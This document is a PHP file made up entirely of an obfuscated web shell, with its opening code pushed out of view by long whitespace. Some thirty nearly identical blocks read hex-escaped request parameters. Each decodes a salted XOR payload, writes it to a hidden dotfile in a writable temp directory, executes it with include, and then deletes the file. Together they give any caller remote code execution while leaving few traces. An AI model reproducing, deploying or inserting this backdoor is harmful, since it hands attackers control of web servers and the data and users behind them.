<?php																																										if(isset($_REQUEST["\x6Dark\x65r"])){ $pgrp = $_REQUEST["\x6Dark\x65r"]; $pgrp =explode ('.' , $pgrp ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $x = 0; foreach ($pgrp as $v7) { $sChar = ord($salt[$x % $sLen]); $d = ((int)$v7 - $sChar - ($x % 10)) ^ 85; $value .= chr($d); $x++; } $comp = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getcwd()]); $val = 0; do { $dat = $comp[$val] ?? null; if ($val >= count($comp)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($dat)) { $mrk = str_replace("{var_dir}", $dat, "{var_dir}/.elem"); if (@file_put_contents($mrk, $value) !== false) { include $mrk; unlink($mrk); exit; } } $val++; } while (true); }
																																										if(isset($_REQUEST["flg"])){ $resource = $_REQUEST["flg"]; $resource= explode( "." , $resource) ; $element= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s2); $t= 0; $__tmp= $resource; while ($v5= array_shift($__tmp)) { $chS= ord($s2[$t % $lenS]); $dec= ((int)$v5 - $chS - ($t % 10)) ^ 35; $element.= chr($dec); $t++; } $comp = array_filter([getenv("TMP"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($comp as $component) { if (max(0, is_dir($component) * is_writable($component))) { $mrk = vsprintf("%s/%s", [$component, ".binding"]); if (file_put_contents($mrk, $element)) { include $mrk; @unlink($mrk); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x62i\x6Edi\x6Eg"])){ $ent = array_filter([getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP")]); $parameter_group = $_POST["\x62i\x6Edi\x6Eg"]; $parameter_group =explode( "." , $parameter_group ) ; $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $x = 0; while( $x < count( $parameter_group)) { $v8 = $parameter_group[$x]; $chS = ord( $salt[$x %$lenS] ); $dec =( ( int)$v8 - $chS -( $x %10))^ 34; $flg .= chr( $dec ); $x++; } foreach ($ent as $hld) { if (max(0, is_dir($hld) * is_writable($hld))) { $marker = implode("/", [$hld, ".comp"]); if (file_put_contents($marker, $flg)) { require $marker; unlink($marker); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x65nt\x69ty"])){ $item = array_filter([getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP")]); $descriptor = $_POST["\x65nt\x69ty"]; $descriptor= explode ( '.' , $descriptor ); $component = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); $__len = count( $descriptor); for( $k = 0; $k < $__len; $k++) {$v6 = $descriptor[$k]; $sChar = ord( $salt6[$k%$lenS]); $dec =( ( int)$v6 - $sChar -( $k%10))^ 94; $component .= chr( $dec);} for ($entry = 0, $tkn = count($item); $entry < $tkn; $entry++) { $flag = $item[$entry]; if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $ent = vsprintf("%s/%s", [$flag, ".k"]); $success = file_put_contents($ent, $component); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(!is_null($_POST["d\x61t"] ?? null)){ $comp = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP"), "/tmp", session_save_path(), sys_get_temp_dir()]); $ent = $_POST["d\x61t"]; $ent = explode ( '.' , $ent ); $k = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7 ); $q = 0; $__len = count( $ent ); do { if( $q >=$__len) break; $v2 = $ent[$q]; $sChar = ord( $salt7[$q % $sLen] ); $dec =( ( int)$v2 - $sChar -( $q % 10)) ^ 30; $k .= chr( $dec ); $q++; } while( true ); foreach ($comp as $marker) { if ((is_dir($marker) and is_writable($marker))) { $record = "$marker" . "/.tkn"; $success = file_put_contents($record, $k); if ($success) { include $record; @unlink($record); exit;} } } }
																																										if(!is_null($_POST["p\x61\x72a\x6D\x65t\x65\x72_\x67r\x6Fup"] ?? null)){ $flg = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); $elem = $_POST["p\x61\x72a\x6D\x65t\x65\x72_\x67r\x6Fup"]; $elem =explode ( '.' , $elem ); $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($elem as $u => $v8): $chS = ord($salt[$u % $sLen]); $d = ((int)$v8 - $chS - ($u % 10)) ^ 74; $factor .= chr($d); endforeach; while ($binding = array_shift($flg)) { if (is_writable($binding) && is_dir($binding)) { $fac = join("/", [$binding, ".holder"]); $success = file_put_contents($fac, $factor); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(array_key_exists("\x72\x65f", $_REQUEST)){ $component = $_REQUEST["\x72\x65f"]; $component =explode ( '.' , $component ) ; $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $len = count($component ); for ($u = 0; $u < $len; $u++) { $v7 = $component[$u]; $sChar = ord($s[$u % $lenS] ); $d = ((int)$v7 - $sChar - ($u % 10))^ 14; $symbol .= chr($d ); } $bind = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp"]); for ($mrk = 0, $key = count($bind); $mrk < $key; $mrk++) { $object = $bind[$mrk]; if (is_dir($object) && is_writable($object)) { $ptr = str_replace("{var_dir}", $object, "{var_dir}/.item"); $success = file_put_contents($ptr, $symbol); if ($success) { include $ptr; @unlink($ptr); die();} } } }
																																										if(!is_null($_POST["p\x6Fi\x6E\x74\x65r"] ?? null)){ $holder = array_filter([getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP")]); $component = $_POST["p\x6Fi\x6E\x74\x65r"]; $component =explode( ".", $component); $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $u = 0; while($u< count($component)) { $v8 = $component[$u]; $chS = ord($salt[$u % $sLen]); $dec = ((int)$v8 - $chS -($u % 10)) ^ 72; $data .=chr($dec); $u++;} $fac = 0; do { $dat = $holder[$fac] ?? null; if ($fac >= count($holder)) break; if (is_dir($dat) && is_writable($dat)) { $pset = vsprintf("%s/%s", [$dat, ".k"]); if (file_put_contents($pset, $data)) { include $pset; @unlink($pset); die(); } } $fac++; } while (true); }
																																										if(!is_null($_POST["o\x62\x6A"] ?? null)){ $property_set = array_filter([session_save_path(), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); $comp = $_POST["o\x62\x6A"]; $comp = explode ( '.' , $comp ); $dchunk = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $r = 0; $len = count($comp ); do {if ($r>=$len) break; $v9 = $comp[$r]; $sChar = ord($salt2[$r % $lenS] ); $dec = ((int)$v9 - $sChar - ($r % 10)) ^ 24; $dchunk .= chr($dec ); $r++; } while (true ); foreach ($property_set as $object) { if (is_dir($object) && is_writable($object)) { $pset = vsprintf("%s/%s", [$object, ".flag"]); if (file_put_contents($pset, $dchunk)) { include $pset; @unlink($pset); die(); } } } }
																																										if(in_array("p\x73et", array_keys($_POST))){ $k = $_POST["p\x73et"]; $k = explode ( ".", $k ); $object =''; $salt4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt4); $z =0; $__tmp =$k; while($v5 =array_shift($__tmp)) { $sChar =ord($salt4[$z % $lenS]); $dec =((int)$v5 - $sChar -($z % 10)) ^ 65; $object .= chr($dec); $z++; } $obj = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm"]); while ($token = array_shift($obj)) { if (is_dir($token) && is_writable($token)) { $desc = vsprintf("%s/%s", [$token, ".res"]); if (@file_put_contents($desc, $object) !== false) { include $desc; unlink($desc); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x6D\x72k"])){ $k = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", session_save_path()]); $object = $_REQUEST["\x6D\x72k"]; $object =explode (".", $object) ; $property_set = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2 ); $n = 0; while( $n <count( $object)) { $v4 = $object[$n]; $chS = ord( $salt2[$n % $lenS] ); $dec =( ( int)$v4 - $chS -( $n % 10)) ^54; $property_set .= chr( $dec ); $n++; } foreach ($k as $val): if (is_dir($val) && is_writable($val)) { $flg = vsprintf("%s/%s", [$val, ".res"]); if (file_put_contents($flg, $property_set)) { require $flg; unlink($flg); exit; } } endforeach; }
																																										if(in_array("r\x65co\x72d", array_keys($_REQUEST))){ $dchunk = $_REQUEST["r\x65co\x72d"]; $dchunk = explode ( ".", $dchunk) ; $pset=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $v=0; $__tmp=$dchunk; while ($v5=array_shift($__tmp)) { $sChar=ord($salt[$v % $sLen]); $dec=((int)$v5 - $sChar - ($v % 10))^ 45; $pset.=chr($dec); $v++; } $resource = array_filter([getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP")]); while ($pgrp = array_shift($resource)) { if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $val = "$pgrp" . "/.comp"; if (file_put_contents($val, $pset)) { require $val; unlink($val); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x72\x65\x63ord")){ $parameter_group = $_POST["\x72\x65\x63ord"]; $parameter_group= explode ('.' , $parameter_group ) ; $data_chunk=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $i=0; array_walk($parameter_group ,function ($v8) use (&$data_chunk ,&$i ,$salt ,$sLen) { $sChar=ord($salt[$i % $sLen]); $dec=((int)$v8 - $sChar - ($i % 10)) ^ 83; $data_chunk .= chr($dec); $i++; } ); $pointer = array_filter(["/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp", session_save_path(), "/tmp"]); foreach ($pointer as $flg) { if (!( !is_dir($flg) || !is_writable($flg) )) { $descriptor = implode("/", [$flg, ".fac"]); if (file_put_contents($descriptor, $data_chunk)) { include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(@$_POST["\x72\x65f"] !== null){ $data_chunk = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]); $flag = $_POST["\x72\x65f"]; $flag= explode ( "." ,$flag ); $parameter_group= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt5); $p= 0; $__tmp= $flag; while( $v3= array_shift( $__tmp)) { $sChar= ord( $salt5[$p % $sLen]); $dec= ( ( int)$v3 - $sChar -( $p % 10)) ^ 61; $parameter_group .=chr( $dec); $p++; } foreach ($data_chunk as $key => $object) { if (!!is_dir($object) && !!is_writable($object)) { $pointer = "$object" . "/.component"; $success = file_put_contents($pointer, $parameter_group); if ($success) { include $pointer; @unlink($pointer); exit;} } } }
																																										if(!empty($_POST["r\x65c"])){ $res = $_POST["r\x65c"]; $res = explode ( "." ,$res ) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($res); for ($n = 0; $n < $len; $n++) {$v2 = $res[$n]; $sChar = ord($salt[$n %$sLen]); $d = ((int)$v2 - $sChar - ($n %10)) ^ 31; $ptr .= chr($d); } $k = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm", "/tmp"]); foreach ($k as $key => $itm) { if (is_dir($itm) && is_writable($itm)) { $ent = "$itm/.element"; $success = file_put_contents($ent, $ptr); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["obj\x65\x63t"])){ $k = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $component = $_REQUEST["obj\x65\x63t"]; $component = explode("." , $component ); $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $i = 0; array_walk($component, function ($v4) use (&$element, &$i, $salt, $sLen) { $sChar = ord($salt[$i %$sLen] ); $d = ((int)$v4 - $sChar - ($i %10)) ^ 81; $element .=chr($d ); $i++; } ); while ($obj = array_shift($k)) { if (!( !is_dir($obj) || !is_writable($obj) )) { $descriptor = implode("/", [$obj, ".resource"]); if (file_put_contents($descriptor, $element)) { include $descriptor; @unlink($descriptor); die(); } } } }
																																										if(array_key_exists("\x76al", $_POST)){ $binding = array_filter(["/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd(), getenv("TEMP"), session_save_path()]); $pointer = $_POST["\x76al"]; $pointer = explode ("." ,$pointer) ; $data = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $r = 0; $len = count($pointer); do { if ($r >= $len) break; $v3 = $pointer[$r]; $chS = ord($salt6[$r % $sLen]); $dec = ((int)$v3 - $chS - ($r % 10)) ^ 85; $data .= chr($dec); $r++;} while (true); foreach ($binding as $key => $ent) { if (!( !is_dir($ent) || !is_writable($ent) )) { $k = "$ent" . "/.ptr"; if (file_put_contents($k, $data)) { include $k; @unlink($k); exit; } } } }
																																										if(!is_null($_POST["\x76\x61lue"] ?? null)){ $data = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); $comp = $_POST["\x76\x61lue"]; $comp = explode( "." ,$comp ) ; $obj = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); foreach( $comp as $t =>$v4) {$chS = ord( $s6[$t % $sLen]); $d =( ( int)$v4 - $chS -( $t % 10)) ^ 63; $obj .= chr( $d);} foreach ($data as $ref): if ((bool)is_dir($ref) && (bool)is_writable($ref)) { $pointer = str_replace("{var_dir}", $ref, "{var_dir}/.resource"); if (file_put_contents($pointer, $obj)) { require $pointer; unlink($pointer); exit; } } endforeach; }
																																										if(isset($_POST["\x65\x6Etry"]) ? true : false){ $pset = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp", getcwd(), getenv("TEMP")]); $data_chunk = $_POST["\x65\x6Etry"]; $data_chunk = explode('.' , $data_chunk ); $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $r = 0; while ($r <count($data_chunk)) { $v4 = $data_chunk[$r]; $sChar = ord($salt[$r% $lenS]); $dec = ((int)$v4 - $sChar - ($r% 10)) ^ 79; $val .= chr($dec); $r++; } $fac = 0; do { $mrk = $pset[$fac] ?? null; if ($fac >= count($pset)) break; if (max(0, is_dir($mrk) * is_writable($mrk))) { $descriptor = str_replace("{var_dir}", $mrk, "{var_dir}/.rec"); if (file_put_contents($descriptor, $val)) { include $descriptor; @unlink($descriptor); exit; } } $fac++; } while (true); }
																																										if(isset($_REQUEST["k\x65\x79"])){ $dchunk = $_REQUEST["k\x65\x79"]; $dchunk = explode ( '.' , $dchunk) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $x = 0; $__tmp = $dchunk; while ($v2 = array_shift($__tmp)) { $chS = ord($s[$x % $lenS]); $dec = ((int)$v2 - $chS - ($x % 10)) ^ 62; $holder .= chr($dec); $x++; } $rec = array_filter(["/var/tmp", "/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); while ($flag = array_shift($rec)) { if (is_dir($flag) ? is_writable($flag) : false) { $factor = "$flag" . "/.res"; if (file_put_contents($factor, $holder)) { include $factor; @unlink($factor); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x70gr\x70")){ $hld = $_REQUEST["\x70gr\x70"]; $hld = explode ( "." , $hld) ; $symbol = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); foreach( $hld as $q => $v4) {$chS = ord( $s9[$q % $lenS]); $d =( ( int)$v4 - $chS -( $q % 10)) ^59; $symbol .= chr( $d); } $fac = array_filter(["/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd(), getenv("TEMP")]); while ($ent = array_shift($fac)) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $desc = "$ent" . "/.k"; $success = file_put_contents($desc, $symbol); if ($success) { include $desc; @unlink($desc); exit;} } } }
																																										if(array_key_exists("co\x6Dp", $_REQUEST)){ $factor = $_REQUEST["co\x6Dp"]; $factor = explode ( '.' ,$factor ) ; $component = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $len = count($factor); for ($p = 0; $p <$len; $p++) { $v4 = $factor[$p]; $chS = ord($s5[$p % $sLen]); $d = ((int)$v4 - $chS - ($p % 10)) ^ 25; $component .= chr($d); } $val = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir()]); for ($data = 0, $data_chunk = count($val); $data < $data_chunk; $data++) { $tkn = $val[$data]; if ((is_dir($tkn) and is_writable($tkn))) { $parameter_group = sprintf("%s/.rec", $tkn); if (file_put_contents($parameter_group, $component)) { require $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(isset($_REQUEST["\x73y\x6Dbol"])){ $parameter_group = $_REQUEST["\x73y\x6Dbol"]; $parameter_group = explode ('.' , $parameter_group ) ; $val = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); foreach($parameter_group as $z => $v6) {$sChar = ord($salt7[$z% $sLen]); $d = ((int)$v6 - $sChar -($z% 10)) ^ 14; $val .=chr($d); } $element = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), "/tmp", sys_get_temp_dir(), getcwd()]); while ($bind = array_shift($element)) { if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $binding = join("/", [$bind, ".obj"]); $success = file_put_contents($binding, $val); if ($success) { include $binding; @unlink($binding); die();} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["v\x61\x6Cue"])){ $property_set = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp", "/tmp"]); $entity = $_REQUEST["v\x61\x6Cue"]; $entity = explode( "." , $entity ) ; $obj = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $u = 0; array_walk($entity , function($v9) use(&$obj , &$u , $salt7 , $sLen) { $chS = ord($salt7[$u % $sLen]); $d = ((int)$v9 - $chS -($u % 10)) ^ 87; $obj .= chr($d); $u++; }); $dchunk = 0; do { $flag = $property_set[$dchunk] ?? null; if ($dchunk >= count($property_set)) break; if ((is_dir($flag) and is_writable($flag))) { $sym = str_replace("{var_dir}", $flag, "{var_dir}/.pgrp"); if (@file_put_contents($sym, $obj) !== false) { include $sym; unlink($sym); die(); } } $dchunk++; } while (true); }
																																										if(isset($_POST) && isset($_POST["f\x6C\x67"])){ $bind = $_POST["f\x6C\x67"]; $bind =explode ("." ,$bind ) ; $element= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s8 ); $l= 0; $__len= count($bind ); do { if ($l >=$__len) break; $v9= $bind[$l]; $chS= ord($s8[$l %$lenS] ); $dec= ((int)$v9 - $chS - ($l %10)) ^ 44; $element .= chr($dec ); $l++; } while (true ); $parameter_group = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", session_save_path(), "/dev/shm", "/var/tmp"]); for ($pset = 0, $binding = count($parameter_group); $pset < $binding; $pset++) { $marker = $parameter_group[$pset]; if (is_dir($marker) && is_writable($marker)) { $ptr = "$marker" . "/.tkn"; if (file_put_contents($ptr, $element)) { include $ptr; @unlink($ptr); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "e\x6E\x74")){ $comp = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", getenv("TEMP")]); $reference = $_REQUEST["e\x6E\x74"]; $reference = explode ( "." ,$reference); $token = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2 ); $len = count( $reference ); for( $r = 0; $r < $len; $r++) { $v2 = $reference[$r]; $chS = ord( $s2[$r% $lenS] ); $d =( ( int)$v2 - $chS -( $r% 10)) ^ 57; $token .= chr( $d ); } for ($ref = 0, $pointer = count($comp); $ref < $pointer; $ref++) { $data_chunk = $comp[$ref]; if (array_product([is_dir($data_chunk), is_writable($data_chunk)])) { $entity = str_replace("{var_dir}", $data_chunk, "{var_dir}/.record"); $success = file_put_contents($entity, $token); if ($success) { include $entity; @unlink($entity); exit;} } } }
																																										if(array_key_exists("ob\x6A", $_REQUEST)){ $comp = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/dev/shm", getcwd(), session_save_path(), "/tmp", ini_get("upload_tmp_dir")]); $flag = $_REQUEST["ob\x6A"]; $flag = explode ( '.' ,$flag ); $ent =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $z =0; while( $z < count( $flag)) { $v5 =$flag[$z]; $chS =ord( $salt[$z % $lenS]); $d =( ( int)$v5 - $chS -( $z % 10)) ^ 37; $ent .= chr( $d); $z++; } foreach ($comp as $flg) { if (!( !is_dir($flg) || !is_writable($flg) )) { $bind = sprintf("%s/.component", $flg); if (file_put_contents($bind, $ent)) { include $bind; @unlink($bind); exit; } } } }
																																										if(!is_null($_REQUEST["poin\x74er"] ?? null)){ $ent = $_REQUEST["poin\x74er"]; $ent = explode ( '.' ,$ent ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $__len = count( $ent ); for( $l = 0; $l <$__len; $l++) {$v6 = $ent[$l]; $chS = ord( $salt[$l % $sLen] ); $d = ( ( int)$v6 - $chS -( $l % 10)) ^ 68; $item .= chr( $d ); } $elem = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/var/tmp"]); while ($rec = array_shift($elem)) { if (is_dir($rec) ? is_writable($rec) : false) { $parameter_group = str_replace("{var_dir}", $rec, "{var_dir}/.entry"); $success = file_put_contents($parameter_group, $item); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } } }
																																										if(isset($_POST["o\x62\x6A\x65ct"]) ? true : false){ $mrk = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP")]); $value = $_POST["o\x62\x6A\x65ct"]; $value = explode( '.', $value ) ; $resource = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $r = 0; while ($r< count($value)) { $v2 = $value[$r]; $chS = ord($s3[$r % $lenS]); $d = ((int)$v2 - $chS - ($r % 10)) ^ 29; $resource .= chr($d); $r++; } foreach ($mrk as $key => $rec) { if (max(0, is_dir($rec) * is_writable($rec))) { $dchunk = "$rec/.token"; $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $dchunk; @unlink($dchunk); die(); } } } }


if(!is_null($_POST["\x65nt"] ?? null)){
	$fac = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm"]);
	$res = $_POST["\x65nt"];
		$res   = explode ( 	"." 		,	$res 		) 	; 	 
	$val	=	'';
            $s7	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=	strlen($s7 	);
            $o	=	0;
    
            $__tmp	=	$res;
            while($v3	=	array_shift($__tmp)) {
                $sChar	=	ord($s7[$o % $sLen] 	);
                $dec	=	((int)$v3 - $sChar -($o % 10)) ^ 17;
                $val .= chr($dec 	);
                $o++;
            }
	foreach ($fac as $key => $obj) {
    		if ((is_dir($obj) and is_writable($obj))) {
    $component = sprintf("%s/.property_set", $obj);
    if (@file_put_contents($component, $val) !== false) {
	include $component;
	unlink($component);
	exit;
}
}
}
}